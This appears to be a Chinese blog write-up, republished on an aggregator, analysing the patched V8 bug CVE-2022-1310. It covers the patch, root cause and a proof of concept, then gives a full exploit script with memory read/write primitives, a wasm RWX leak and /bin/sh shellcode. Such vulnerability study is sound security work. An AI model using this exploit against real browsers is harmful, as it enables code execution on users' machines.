CVE-2022-1310：RegExp[@@replace] missing write barrier lead a UAF

news2024/9/27 23:34:06

文章目录

  • 环境搭建
  • 漏洞分析
  • 漏洞利用
    • 漏洞触发链
    • RCE
      • 原语构造
  • 总结
  • 参考

环境搭建

嗯，这里不知道是不是环境搭建的有问题，笔者最后成功的实现了任意地址读写，但是任意读写的存在限制，任意写 wasm 的 RWX 区域时会直接报错，然后任意读存在次数限制。

sudo apt install python
git reset --hard e1e92f8ba77145568e781b47b31ad82535e868bf
export DEPOT_TOOLS_UPDATE=0
gclient sync -D

// debug version
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug

// release debug
tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release

漏洞分析

patch 如下：

diff --git a/src/regexp/regexp-utils.cc b/src/regexp/regexp-utils.cc
index dabe5ee..b260071 100644
--- a/src/regexp/regexp-utils.cc
+++ b/src/regexp/regexp-utils.cc
@@ -49,7 +49,8 @@
   Handle<Object> value_as_object =
       isolate->factory()->NewNumberFromInt64(value);
   if (HasInitialRegExpMap(isolate, *recv)) {
-    JSRegExp::cast(*recv).set_last_index(*value_as_object, SKIP_WRITE_BARRIER);
+    JSRegExp::cast(*recv).set_last_index(*value_as_object,
+                                         UPDATE_WRITE_BARRIER);
     return recv;
   } else {
     return Object::SetProperty(

可以看到这里仅仅将 SKIP_WRITE_BARRIER 替换成了 UPDATE_WRITE_BARRIER。原来的 SKIP_WRITE_BARRIER 标志会跳过写屏障处理，这里与 GC 有关，具体可以自行谷歌或百度，当然大概原理可以参考后面的参考文章。

简单来说，考虑如下漏洞场景：

  • 对象 X 在 new space 中，对象 Y 在 old space 中，而对象 X 仅仅由对象 Y 引用且对象 X 并不是全局的
  • 那么如果此时触发 minor_gc，则对象 X 并不会被遍历 mark，所以此时会将 minor_gc 清除释放
  • 而对象 Y 还保存着对象 X 的引用，所以如果此时操作对象 Y 中对对象 X 的引用，则导致 UAF

那么为了避免上述漏洞场景发生，V8 开发人员为 GC 引入了写屏障，即在执行 object.filed = other_object 时，会将两者的引用关系添加到引用列表中，所以在上述漏洞场景的第二步准备清除对象 X 时，会发生其在引用列表中，所以此时就不会清除释放对象 X，从而避免了漏洞的产生。而这里的写屏障就是 UPDATE_WRITE_BARRIER 标志保障的，当标志为 SKIP_WRITE_BARRIER时不会执行写屏障处理。

当然了仅仅是 SKIP_WRITE_BARRIER 其实问题不太大，只要不产生对象引用即可。这里我们跟踪到上述漏洞函数：

MaybeHandle<Object> RegExpUtils::SetLastIndex(Isolate* isolate,
                                              Handle<JSReceiver> recv,
                                              uint64_t value) {
  Handle<Object> value_as_object =
      isolate->factory()->NewNumberFromInt64(value);
  if (HasInitialRegExpMap(isolate, *recv)) {
    JSRegExp::cast(*recv).set_last_index(*value_as_object, SKIP_WRITE_BARRIER);
    return recv;
  } else {
    return Object::SetProperty(
        isolate, recv, isolate->factory()->lastIndex_string(), value_as_object,
        StoreOrigin::kMaybeKeyed, Just(kThrowOnError));
  }
}

该函数就是设置 RegExp.lastIndex，而我们可以看到这里设置的类型为 Smi 或者 HeapNumber，跟进 NewNumberFromInt64 函数：

template <typename Impl>
template <AllocationType allocation>
Handle<Object> FactoryBase<Impl>::NewNumberFromInt64(int64_t value) {
  if (value <= std::numeric_limits<int32_t>::max() &&
      value >= std::numeric_limits<int32_t>::min() &&
      Smi::IsValid(static_cast<int32_t>(value))) {
    return handle(Smi::FromInt(static_cast<int32_t>(value)), isolate());
  }
  return NewHeapNumber<allocation>(static_cast<double>(value));
}

可以看到当 value 在 [smi_min, smi_max] 范围内时，返回的是一个 Smi 类型；而当 value 不在该范围内时，返回的是一个 HeapNumber 类型。

Smi 类型是不存在错误的，因为其并不是在堆上另外分配的，其会直接存储在 RegExp.lastIndex 字段中；主要的问题就是 lastIndex 有可能是 HeapNumber 类型的，其是堆上分配的对象，所以这里存在 RegExp.lastIndex 对其的引用。

因此如果一开始 RegExp 在 old space，而当程序执行到该函数时，value （即重新设置的 lastIndex）的范围不在 Smi 所表示的范围内，那么此时就会在 new space 创建一个 HeapNumber 对象然后赋给 RegExp.lastIndex。那么这里就满足上面描述的漏洞场景了：

  • RegExp 为 old space 的一个对象，RegExp.lastIndex 为 new space 的一个对象
  • 在设置 RegExp.lastIndex 没有开启写屏障，所以此时触发 minor_gc 会导致 RegExp.lastIndex 所指对象被释放

漏洞利用

漏洞触发链

首先需要考虑的就是如何执行到 SetLastIndex 函数的 if 分支：

MaybeHandle<Object> RegExpUtils::SetLastIndex(Isolate* isolate,
                                              Handle<JSReceiver> recv,
                                              uint64_t value) {
  Handle<Object> value_as_object =
      isolate->factory()->NewNumberFromInt64(value);
  if (HasInitialRegExpMap(isolate, *recv)) { // <== check 
    JSRegExp::cast(*recv).set_last_index(*value_as_object, SKIP_WRITE_BARRIER); // <== target
    return recv;
  } else {
    return Object::SetProperty(
        isolate, recv, isolate->factory()->lastIndex_string(), value_as_object,
        StoreOrigin::kMaybeKeyed, Just(kThrowOnError));
  }
}

首先想要执行到 target，则需要通过 HasInitialRegExpMap(isolate, *recv) 验证，即 RegExp 对象的 map 是否发生改变。

然后往上引用查找，可以发现在 SetAdvancedStringIndex 函数中调用了 SetLastIndex：

这里其实还要其它逻辑也会调用到 SetLastIndex 函数，但是难以利用

MaybeHandle<Object> RegExpUtils::SetAdvancedStringIndex(
    Isolate* isolate, Handle<JSReceiver> regexp, Handle<String> string,
    bool unicode) {
  Handle<Object> last_index_obj;
  // 获取 lastIndex 属性
  ASSIGN_RETURN_ON_EXCEPTION(
      isolate, last_index_obj,
      Object::GetProperty(isolate, regexp,
                          isolate->factory()->lastIndex_string()),
      Object);
  // 得到 lastIndex 的值
  ASSIGN_RETURN_ON_EXCEPTION(isolate, last_index_obj,
                             Object::ToLength(isolate, last_index_obj), Object);
  // last_index 为 old_lastIndex 的值
  const uint64_t last_index = PositiveNumberToUint64(*last_index_obj);
  // new_last_index 为新的 lastIndex 的值，即就是将 old_lastindex + 1
  const uint64_t new_last_index =
      AdvanceStringIndex(string, last_index, unicode);

  return SetLastIndex(isolate, regexp, new_last_index);
}

uint64_t RegExpUtils::AdvanceStringIndex(Handle<String> string, uint64_t index, bool unicode) {
  DCHECK_LE(static_cast<double>(index), kMaxSafeInteger);
  const uint64_t string_length = static_cast<uint64_t>(string->length());
  if (unicode && index < string_length) {
    const uint16_t first = string->Get(static_cast<uint32_t>(index));
    if (first >= 0xD800 && first <= 0xDBFF && index + 1 < string_length) {
      DCHECK_LT(index, std::numeric_limits<uint64_t>::max());
      const uint16_t second = string->Get(static_cast<uint32_t>(index + 1));
      if (second >= 0xDC00 && second <= 0xDFFF) {
        return index + 2;
      }
    }
  }

  return index + 1;
}

可以看到 SetAdvancedStringIndex 函数会将 lastIndex+1，然后在调用 SetLastIndex，所以如果我们让 old_lastIndex = smi_max，那么当执行到 SetAdvancedStringIndex 函数时，new_lastIndex = old_lastIndx + 1 = smi_max + 1，此时进入 SetLastIndex 函数后，就可以成功执行到 target

然后继续向上引用查找，可以发现仅有 Runtime_RegExpReplaceRT 函数调用了 SetAdvancedStringIndex，该函数在执行 replace 操作时被调用：

// Slow path for:
// ES#sec-regexp.prototype-@@replace
// RegExp.prototype [ @@replace ] ( string, replaceValue )
RUNTIME_FUNCTION(Runtime_RegExpReplaceRT) {
  HandleScope scope(isolate);
  DCHECK_EQ(3, args.length());

  CONVERT_ARG_HANDLE_CHECKED(JSReceiver, recv, 0);
  CONVERT_ARG_HANDLE_CHECKED(String, string, 1);
  Handle<Object> replace_obj = args.at(2); // 被替换对象
  Factory* factory = isolate->factory();
  string = String::Flatten(isolate, string); // 替换字符串
  // replace_obj 是否是回调函数
  const bool functional_replace = replace_obj->IsCallable();

  Handle<String> replace;
  if (!functional_replace) {
  	// 不是则转换为字符串存储在 repalce 中
    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, replace,
                                       Object::ToString(isolate, replace_obj));
  }

  // Fast-path for unmodified JSRegExps (and non-functional replace).
  // JSRegExp 没有被修改（查看IsUnmodifiedRegExp可以指的主要就是指exec属性没有被修改）则进入快速路径
  if (RegExpUtils::IsUnmodifiedRegExp(isolate, recv)) {
    // We should never get here with functional replace because unmodified
    // regexp and functional replace should be fully handled in CSA code.
    CHECK(!functional_replace);
    Handle<Object> result;
    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
        isolate, result,
        RegExpReplace(isolate, Handle<JSRegExp>::cast(recv), string, replace));
    DCHECK(RegExpUtils::IsUnmodifiedRegExp(isolate, recv));
    return *result;
  }
  // 被替换字符串的长度
  const uint32_t length = string->length();
  // 检查是否是全局匹配
  Handle<Object> global_obj;
  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
      isolate, global_obj,
      JSReceiver::GetProperty(isolate, recv, factory->global_string()));
  const bool global = global_obj->BooleanValue(isolate);

  bool unicode = false;
  if (global) { // 具有全局匹配标志（g），则会将 lastIndex 置为 0，即从头开始匹配
    Handle<Object> unicode_obj;
    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
        isolate, unicode_obj,
        JSReceiver::GetProperty(isolate, recv, factory->unicode_string()));
    unicode = unicode_obj->BooleanValue(isolate);

    RETURN_FAILURE_ON_EXCEPTION(isolate,
                                RegExpUtils::SetLastIndex(isolate, recv, 0));
  }

  Zone zone(isolate->allocator(), ZONE_NAME);
  ZoneVector<Handle<Object>> results(&zone);
  // 开始匹配
  while (true) {
    Handle<Object> result;
    // 调用 re.exec 进行匹配替换处理
    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
        isolate, result, RegExpUtils::RegExpExec(isolate, recv, string,
                                                 factory->undefined_value()));
	// 匹配失败则退出循环，这里匹配失败的标志是返回 null
    if (result->IsNull(isolate)) break;

    results.push_back(result);
    if (!global) break; // 不是全局匹配，则匹配一次就返回

    Handle<Object> match_obj; // 获取 match_obj[0]
    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, match_obj,
                                       Object::GetElement(isolate, result, 0));

    Handle<String> match; // 转换为字符串
    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, match,
                                       Object::ToString(isolate, match_obj));
	// 如果 match->length() = 0 则会调用到 SetAdvancedStringIndex 函数
    if (match->length() == 0) {
      RETURN_FAILURE_ON_EXCEPTION(isolate, RegExpUtils::SetAdvancedStringIndex(
                                               isolate, recv, string, unicode));
    }
  }
......

主要关注的功能点如下（具体看注释）：

  • 如果 re.exec 没有被修改过则直接走快速路径
  • 如果 re.exec 被修改了则走慢速路径
    • 如果有设置全局匹配标志（g），则设置 lastIndex = 0
    • 调用 re.exec 进行匹配 [一个 loop]
      • 如果返回 null，则 break
      • 如果没有设置全局匹配标志（g），则 break
      • 检查 re.exec 返回的对象（字符串）长度是否为 0
        • 如果为 0，则调用 SetAdvancedStringIndex

我们的目的就是调用 SetAdvancedStringIndex，所以得绕过上述相关逻辑：

  • 修改 re.exec，使得执行流走慢速路径
  • 设置全局匹配标志（g）防止提前 break
  • 在 re.exec 中再次修改 re.exec 使其返回 null，从而防止无限循环

综上所述，我们最后给出 poc：

const {log} = console;
const MAX_SMI = 1073741823;
var roots = new Array(0x30000);
var index = 0;


function major_gc() {
        new ArrayBuffer(0x7fe00000);
}

function minor_gc() {
        for (let i = 0; i < 8; i++) {
                roots[index++] = new ArrayBuffer(0x200000);
        }
        roots[index++] = new ArrayBuffer(8);
}

var re = RegExp("foo", "g"); // 全局对象 re, 设置全局匹配标志 "g"
RegExp.prototype.exec = function() { return null; }; // 修改 RegExp 原型链上的 exec 函数

re.exec = function() {
        major_gc();             // 使 re 移动到 old space
        new Array(0x10);        // 分配一个 tmp buf
        re.lastIndex = MAX_SMI; // 设置 re.lastIndex = SMI_MAX
        delete re.exec;         // 删除 re.exec
        return [""];            // 返回 [""]
};
var str = re[Symbol.replace]("ooo", "guys");

minor_gc(); // minor_gc 释放 re.lastIndex 引用的对象
major_gc(); // 标记 re.lastIndex 对象为 live

new Array(0x40);

%DebugPrint(re.lastIndex);
// 输出：
// DebugPrint: 0x177a00002469: [Oddball] in ReadOnlySpace: #hole

这里稍微解释一下 poc 的构造。我们最开始把 RegExp.prototype.exec 设置为了返回 null 的函数其主要就是为了防止无限循环。

当执行 re[Symbol.replace]("ooo", "guys"); 时：

  • 会调用到 Runtime_RegExpReplaceRT 函数，由于我们修改了 re.exec，所以其会走慢速路径。
  • 而我们设置了 g 标志，所以 re.lastIndex 被修改为 0
  • 然后调用 re.exec 进行匹配：
re.exec = function() {
        major_gc();             // 使 re 移动到 old space
        new Array(0x10);        // 分配一个 tmp buf
        re.lastIndex = MAX_SMI; // 设置 re.lastIndex = SMI_MAX
        delete re.exec;         // 删除 re.exec
        return [""];            // 返回 [""]
};
  • re.exec 返回 [""]，其不为 null，所以不会 break。主要在 re.exec 中的操作，此时 re 已经移动到了 old space 区，re.lastIndex = SMI_MAX，re.exec 属性被删除了
  • 由于设置了 g 标志，所以不会 break
  • 检查 re.exec 返回的字符串长度是否为 0，这里返回的 "" 其长度是为 0 的
    • 通过长度为 0 检查，从而调用 SetAdvancedStringIndex
      • 在 SetAdvancedStringIndex 函数中 new_lastIndex = old_lastIndex + 1 = SMI_MAX + 1，然后调用 SetLastIndex
        • 在 SetLastIndex 中，由于 re.exec 已经被删除了，所以此时可以通过 HasInitialRegExpMap 检查。最后成功执行到漏洞逻辑
  • 然后会继续循环匹配，这时又会调用 re.exec，但是在第一次调用 re.exec 时 re.exec 属性被删除了，所以此时会到原型链上找，最后执行的 re.exec 其实就是 RegExp.prototype.exec：
RegExp.prototype.exec = function() { return null; };
  • re.exec 返回 null，跳出循环，然后执行后面的代码

RCE

这里主要利用到了 v8（d8） 的一个特性：

  • 引入指针压缩后，特定对象低 4 字节固定
    所以其实 HOLEY_DOUBLE_ELEMENTS FixedDoubleArray map 的低 4 字节是固定的，考虑如下测试用例：

4 种情况的输出分别是：

DebugPrint: 0x16ac0004a4f1: [JSArray]
 - map: 0x16ac00203b41 <Map(HOLEY_DOUBLE_ELEMENTS)> [FastProperties]
-------------------------------------
DebugPrint: 0x15af0004a4f1: [JSArray]
 - map: 0x15af00203b41 <Map(HOLEY_DOUBLE_ELEMENTS)> [FastProperties]
-------------------------------------
DebugPrint: 0x10630004a4f1: [JSArray]
 - map: 0x106300203b41 <Map(HOLEY_DOUBLE_ELEMENTS)> [FastProperties]
-------------------------------------
DebugPrint: 0x53b0004a481: [JSArray]
 - map: 0x053b00203b41 <Map(HOLEY_DOUBLE_ELEMENTS)> [FastProperties]

可以看到这里的 map 的低 4 字节是固定的 0x00203b41

这也说明了这种利用方式是针对特定版本环境的，即 exp 不具备通用性

所以其实我们是没必要泄漏 map 的，接下来就是去构造对象重叠：
在这里插入图片描述
即我们申请一个特定大小的数组对象，并在数组中布置好 map|properties，len|element，那么就有机会形成如上图的内存布局，此时我们如果拿出 fake_obj = re.lastIndex，则 v8 会根据 map 将其解析为一个浮点数组对象。而我们可以通过 fake_array 去修改 fake_obj 的 length/element。

为什么是特定大小呢？因为特定大小的数组对象其 map/element 每次分配都是固定的

原语构造

addressOf：可以将 fake_obj 的 length 改大，从而实现越界读，然后就可以读取后面的 obj 地址
arb_read_heap：这里主要是利用其来泄漏 RWX 区域的地址，我们可以修改 fake_obj 的 element 为 wasm_instance offset + ？ 从而泄漏 rwx_addr
arb_read/arb_write：喷射大量 ArrayBuffer，从而利用越界写修改 backing_store

exp 如下：

const {log} = console;
const MAX_SMI = 1073741823;
var raw_buf = new ArrayBuffer(8);
var d_buf = new Float64Array(raw_buf);
var l_buf = new BigUint64Array(raw_buf);
var roots = new Array(0x30000);
var index = 0;

function l2d(val) {
        l_buf[0] = val;
        return d_buf[0];
}

function d2l(val) {
        d_buf[0] = val;
        return l_buf[0];
}

function hexx(str, val) {
        log(str+": 0x"+val.toString(16));
}

function decc(str, val) {
        log(str+": "+val.toString());
}

function major_gc() {
        new ArrayBuffer(0x7fe00000);
}

function minor_gc() {
        for (let i = 0; i < 8; i++) {
                roots[index++] = new ArrayBuffer(0x200000);
        }
        roots[index++] = new ArrayBuffer(8);
}


var spray_chunk_arr = new Array(1000);
function spray_chunk() {
        for (let i = 0; i < 200; i++) {
                new ArrayBuffer(0x500);
                spray_chunk_arr[i] = new ArrayBuffer(0x10);
                new ArrayBuffer(0x2024);
        }

}

var re = RegExp("foo", "g");
RegExp.prototype.exec = function() { return null; };

re.exec = function() {
        major_gc();
        new Array(0x10);
        re.lastIndex = MAX_SMI;
        delete re.exec;
        return [""];
};
var str = re[Symbol.replace]("ooo", "guys");

minor_gc();
major_gc();

var fake_obj = re.lastIndex;


//print(l2d(0x0000226900203b19n));
//print(l2d(0x0000800000342151n));

/*
1.86926619662186e-310
6.95335597662764e-310
*/

var fake_array =[
        1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,
        1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,
        1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,
        1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,
        1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,
        1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,
        1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,
        1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,
        1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,
        1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,
        1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,
        1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310];

var addressOf_array = [0x5f74, 0x5f74, fake_obj, fake_array];

var spray_buf = [];
for (let i = 0; i < 0x30; i++) {
        spray_buf[i] = new ArrayBuffer(0x2024);
}

var addressOf_idx = -1;
for (let i = 0; i < fake_obj.length; i++) {
        let val = d2l(fake_obj[i]);
        if (val == 0xbee80000bee8n) {
                addressOf_idx = i+1;
                hexx("addressOf_idx", addressOf_idx);
                break;
        }
}

if (addressOf_idx == -1) {
        throw "Failed to leak addressOf_idx";
}

var backing_store = -1;
var backing_store_idx = -1;
for (let i = 0; i < fake_obj.length-2; i++) {
        let val = d2l(fake_obj[i]);
        if (val == 0x2024n) {
                hexx("[===dump===]", val);
                hexx("[===dump===]", d2l(fake_obj[i+1]));
                hexx("[===dump===]", d2l(fake_obj[i+2]));
                fake_obj[i] = l2d(0x200n);
                fake_obj[i+1] = l2d(0x200n);
                backing_store = d2l(fake_obj[i+2]);
                backing_store_idx = i+2;
                break;
        }
}

if (backing_store_idx == -1) {
        throw "Failed to leak backing_store_idx";
}


hexx("backing_store", backing_store);
hexx("backing_store_idx", backing_store_idx);
var victim_idx = -1;
var dv;
for (let i = 0; i < 0x30; i++) {
        if (spray_buf[i].byteLength == 0x200) {
                log("construct evil dv successfully");
                fake_obj[backing_store_idx-1] = l2d(0x2026n);
                fake_obj[backing_store_idx-2] = l2d(0x2026n);
                dv = new DataView(spray_buf[i]);
                victim_idx = i;
                break;
        }
}


if (victim_idx == -1) {
        throw "Failed to leak victim_idx";
}

function addressOf(obj) {
        addressOf_array[2] = obj;
        return (d2l(fake_obj[addressOf_idx]) & 0xffffffffn);
}


var self_idx = -1;
for (let i = 1; i < 48; i+=2) {
        fake_array[i] = l2d(0x800000000n);
        val = d2l(fake_obj[0]);
        if (val != 0x0000226900203b19n) {
                self_idx = i;
                fake_array[i] = 6.95335597662764e-310;
                break;
        }
}


if (self_idx == -1) {
        throw "Failed to leak self_idx";
}
hexx("self_idx", self_idx);

function arb_read_heap(off) {
        fake_array[self_idx] = l2d((off-8n)|0x800000000n);
        let val = d2l(fake_obj[0]);
        fake_array[self_idx] = 6.95335597662764e-310;
        return val;
}

function arb_write(addr, val) {
        fake_array[self_idx] = 6.95335597662764e-310;
        fake_obj[backing_store_idx] = l2d(addr);
        dv.setFloat64(0, l2d(val), true);
}

function arb_read(addr) {
//      print("arb_read 1");
        fake_array[self_idx] = 6.95335597662764e-310;
//      print("arb_read 2");
        fake_obj[backing_store_idx] = l2d(addr);
//      fake_obj[backing_store_idx+1] = l2d(addr);
//      print("arb_read 3");
        return dv.getBigInt64(0, true);
}

var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,
                                128,0,1,96,0,1,127,3,130,128,128,128,
                                0,1,0,4,132,128,128,128,0,1,112,0,0,5,
                                131,128,128,128,0,1,0,1,6,129,128,128,128,
                                0,0,7,145,128,128,128,0,2,6,109,101,109,111,
                                114,121,2,0,4,109,97,105,110,0,0,10,142,128,128,
                                128,0,1,136,128,128,128,0,0,65,239,253,182,245,125,11]);

var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module, {});
var pwn = wasm_instance.exports.main;
var wasm_instance_offset = addressOf(wasm_instance);
hexx("wasm_instance_offset", wasm_instance_offset);

var rwx_addr = arb_read_heap(wasm_instance_offset+0x60n);
hexx("rwx_addr", rwx_addr);

var shellcode = [
        0x2fbb485299583b6an,
        0x5368732f6e69622fn,
        0x050f5e5457525f54n
];

/*
for (let i = 0; i < shellcode.length; i++) {
        arb_write(rwx_addr, shellcode[i]);
        rwx_addr += 8n;
}
*/


/*
for (let i = 0; i < 0x100; i++) {
        log(i.toString(16)+" => "+d2l(fake_obj[i]).toString(16));
}
*/

/*
//%DebugPrint(dv.buffer);
%DebugPrint(fake_obj);
var chunk_addr = backing_store - 0x10n;
for (let i = 0; i < 50; i++) {
        hexx("chunk_addr", chunk_addr);
        let prev_size = arb_read(chunk_addr);
        let size = arb_read(chunk_addr+8n);
        hexx("size", size);
        hexx("prev_size", prev_size);
        if (size !== 0n && (size%2n) === 0n) {
                let prev_ptr = chunk_addr - prev_size;
//              hexx("prev_ptr", prev_ptr);
                let fd = arb_read(prev_ptr+0x10n);
//              hexx("fd", fd);
                let bk = arb_read(prev_ptr+0x18n);
//              hexx("fd", fd);

                if (((fd>>48)&0xff00n) === 0x7f00n) {
                        hexx("fd", fd);
                        break;
                } else if (((bk>>48)&0xff00n) === 0x7f00n) {
                        hexx("bk", bk);
                        break;
                }
        }
        size -= ((size%2n)===0n?0n:1n);
        chunk_addr += size;
//      print("-------------------------------------------------------");
}
*/

//pwn();

//readline();

总结

总的来说难度不大，但是搞了好久，主要就是环境存在问题，最后的 exp 也打不通。然后对 GC 的了解也是浮于表面。

参考

https://d0ublew.github.io/writeups/osu-gaming-ctf-2024/pwn/osu-v8/index.html#osu-v8

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/1517042.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

安卓通过termux部署ChatGLM

安卓通过termux部署ChatGLM

一、安装Termux并进行相关配置 1、安装termux Termux 是一个 Android 终端仿真应用程序&#xff0c;用于在 Android 手机上搭建一个完整的 Linux 环境。 不需要 root 权限 Termux 就可以正常运行。Termux 基本实现 Linux 下的许多基本操作。可以使用 Termux 安装 python&…
阅读更多...
【Python数据结构与判断7/7】数据结构小结

【Python数据结构与判断7/7】数据结构小结

目录 序言 整体回忆 定义方式 访问元素 访问单个元素 访问多个与元素 修改元素 添加元素 列表里添加元素 字典里添加元素 删除元素 in运算符 实战案例 总结 序言 今天将对前面学过的三种数据结构&#xff1a;元组&#xff08;tuple&#xff09;、列表&#xff08;…
阅读更多...
什么是制作视频内容？如何搞好视频内容制作？

什么是制作视频内容？如何搞好视频内容制作？

写在前面 视频内容已成为希望吸引数字观众的企业、品牌和创作者的必备资产。事实上&#xff0c;根据NogenTech的一份报告&#xff0c;在2023年&#xff0c;91%的营销部门使用了这种动态内容。 视频内容创作和优化性能的技巧和窍门的增加绝非巧合。TikTok以及Instagram Reels和…
阅读更多...
天地图全国幼儿园数据下载与处理分析

天地图全国幼儿园数据下载与处理分析

概述 在看天地图服务资源的时候看到有个“幼儿园”的数据&#xff0c;好奇点开看了下&#xff0c;下载下来数据差看了下&#xff0c;数据质量还不错。本篇文章给大家分享一下这个数据的处理以及一些简单的统计分析结果。 数据下载 通过地址https://service.tianditu.gov.cn/…
阅读更多...
谷歌网络营销要做什么？

谷歌网络营销要做什么？

想做谷歌网络营销&#xff0c;广告是不能跳过的一环&#xff0c;花钱买广告位是最最实在的方法了&#xff0c;别人一搜相关的东西&#xff0c;你的产品或者服务就能跳出来&#xff0c;这样感兴趣的用户就会点进去&#xff0c;可以说是最实用的方法&#xff0c;唯一需要考虑的毫…
阅读更多...
嵌入式常用5种通信协议

嵌入式常用5种通信协议

简介&#xff1a; 嵌入式常用五种通信协议为&#xff1a;UART、RS232、RS485、IIC、SPI。 由于这几种通信协议十分相似又有区别&#xff0c;所以分组记忆&#xff0c;红色的为一组&#xff0c;蓝色的为一组。 ①组都有两条线&#xff0c;且都是异步通信没得时钟线&#xff0c…
阅读更多...
RuoYi开源项目1-下载并实现运行RuoYi项目

RuoYi开源项目1-下载并实现运行RuoYi项目

下载并实现运行RuoYi项目 环境需要下载项目项目配置后端项目配置前端项目配置 启动后前端登录页面截图 环境需要 JDK > 8MySQL >5.7Maven > 3.0Node > 12Redis > 3 下图是我的环境配置 下载项目 若依官网 1.进入官网&#xff0c;下载版本如下图RuoYi-Vue前后…
阅读更多...
【pyautogui】PyAutoGUI 的简单使用

【pyautogui】PyAutoGUI 的简单使用

文章目录 1 简介2 通用功能2.1 暂停/休眠/耗时2.2 自动防故障功能 3 鼠标控制3.1 移动鼠标3.2 获取鼠标指针位置3.3 点击鼠标3.4 拖动鼠标3.5 滚动鼠标3.6 常用方法 4 键盘控制4.1 输入字符串 write4.2 按键操作 press4.3 按下 & 释放4.4 组合键 hotkey4.5 键名 5 屏幕图像…
阅读更多...
VC-旅游系统-213-(代码+说明)

VC-旅游系统-213-(代码+说明)

转载地址: http://www.3q2008.com/soft/search.asp?keyword旅游系统 旅游信息管理系统开题报告 一、研究目的 旅游信息管理系统能帮助旅行社在游客的市场开拓、游客的信息管理、客户服务等方面进行综合处理。使旅行社能够准确的掌握客户的市场动态&#xff0c;充分了解对客户…
阅读更多...
【endnote】advanced science

【endnote】advanced science

今天投稿advanced science时&#xff0c;用endnote改格式&#xff0c;一大堆问题 发现标准引用格式如下&#xff0c;显示所有作者&#xff0c;不显示titile等 首先&#xff0c;上网下载了advanced science的格式ens&#xff0c;然后导入到endnote 发现不对&#xff0c;于是乎调…
阅读更多...
【Python】科研代码学习：十二 PEFT（高效参数的训练，Adapter适配器）

【Python】科研代码学习：十二 PEFT（高效参数的训练，Adapter适配器）

【Python】科研代码学习&#xff1a;十二 PEFT PEFT简单训练教程简单推理教程Adapter 适配器Merge Adapter 架构关系 PEFT 【HF官网-Doc-PEFT&#xff1a;API】 首先日常问题&#xff0c;是什么&#xff0c;为什么&#xff0c;怎么用 PEFT (Prameter-Efficient Fine-Tuning)&a…
阅读更多...
如何在数据库中存储小数：FLOAT、DECIMAL还是BIGINT？

如何在数据库中存储小数：FLOAT、DECIMAL还是BIGINT？

前言 这里还是用前面的例子: 在线机票订票系统的数据表设计。此时已经完成了大部分字段的设计&#xff0c;可能如下: CREATE TABLE flights ( flight_id INT AUTO_INCREMENT PRIMARY KEY, flight_number VARCHAR(10), departure_airport_code VARCHAR(3), arrival_air…
阅读更多...
HAProxy——高性能负载均衡器

HAProxy——高性能负载均衡器

目录 一.常见的Web集群调度器 二.HAProxy基本介绍 1.HAProxy是什么&#xff1f; 2.HAProxy的特性 3.HAProxy常用的8种负载均衡调度算法 3.1 轮询&#xff1a;RR&#xff08;Round Robin&#xff09; 3.2 最小连接数&#xff1a;LC&#xff08;Least Connections&#xff…
阅读更多...
【TB作品】MSP430单片机，音乐播放器，四首音乐，八音盒，Proteus仿真

【TB作品】MSP430单片机，音乐播放器，四首音乐，八音盒，Proteus仿真

文章目录 题目要求仿真结果实验报告&#xff1a;基于MSP430单片机的八音盒设计实验目的实验设备实验原理总结 代码和仿真图 题目要求 八音盒 本设计利用MSP430单片机结合内部定时器及LED/LCD,设计一个八音盒,按下单键可以演奏预先设置的歌曲旋律。 基本要求: 使用LED/LCD显示器…
阅读更多...
分销商城小程序开发可以为商家带来哪些好处

分销商城小程序开发可以为商家带来哪些好处

分销小程序的开发帮助商家更多地维系客户&#xff0c;市场竞争越来越激烈&#xff0c;各大商家争抢流量&#xff0c;拼命获客&#xff0c;小程序分销堪比商家的营销神器。 分销商城小程序是指商家通过小程序分销与分销商建立利润分享合作伙伴关系&#xff0c;允许分销商将参与小…
阅读更多...
C语言例3-11：使用算术运算符的例子。

C语言例3-11：使用算术运算符的例子。

代码如下&#xff1a; int main(void) {int a12, b10;float c2.0, d0.5;double e6.5, f13.0;printf("-a %d\n",-a);printf("ab %d\n",ab);printf("a-b %d\n",a-b);printf("a*b %d\n",a*b);printf("a/b %d\n"…
阅读更多...
第 7 场 小白入门赛

第 7 场 小白入门赛

第5题 &#xff1a;兽之泪【算法赛】 AC_Code:C #include <iostream> #include <cstring> #include <algorithm> #include <vector> #include <queue> #include<stack> #include<cmath> #include <unordered_set> #include &…
阅读更多...
【数据结构高阶】图

【数据结构高阶】图

